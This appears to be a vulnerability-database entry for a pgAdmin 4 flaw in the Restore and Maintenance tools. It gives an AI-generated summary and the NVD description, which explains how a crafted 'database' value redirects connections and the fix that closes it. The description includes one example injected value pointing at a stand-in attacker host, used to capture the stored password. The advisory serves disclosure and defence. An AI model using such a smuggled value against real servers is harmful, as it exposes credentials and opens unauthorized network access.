SEPTEMBER 22, 2026
Live Feed
Back to database
Case File

CVE-2026-86862

MEDIUM · CVSS 6.5 EPSS 0.20% Public Exploit

Source: NVD + CISA KEV + EPSS · Published 2026-09-17 · Last synced 2026-09-22

CyberRota Analysis

AI-Generated

The pgAdmin 4 Restore and Maintenance tools are vulnerable due to improper handling of the client-supplied 'database' field, allowing authenticated users to redirect database operations to an attacker-controlled server. This misconfiguration can lead to exposure of sensitive credentials and unauthorized outbound connections, posing a risk to any organization using pgAdmin 4 versions prior to 9.18. Users with tools_restore or tools_maintenance permissions should prioritize patching this vulnerability to mitigate potential data breaches.

Public Exploit Signal

A public exploit, PoC, GitHub repository or Metasploit reference was detected for this CVE.

GitHub PoC Links

Note: these links are listed for security research and verification purposes only.

CVE
CVE-2026-86862
Severity
MEDIUM
CVSS
6.5
EPSS
0.20%

Original NVD Description

pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user. The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed. The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment. This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.

Related CVEs

Other vulnerabilities affecting the same vendor(s)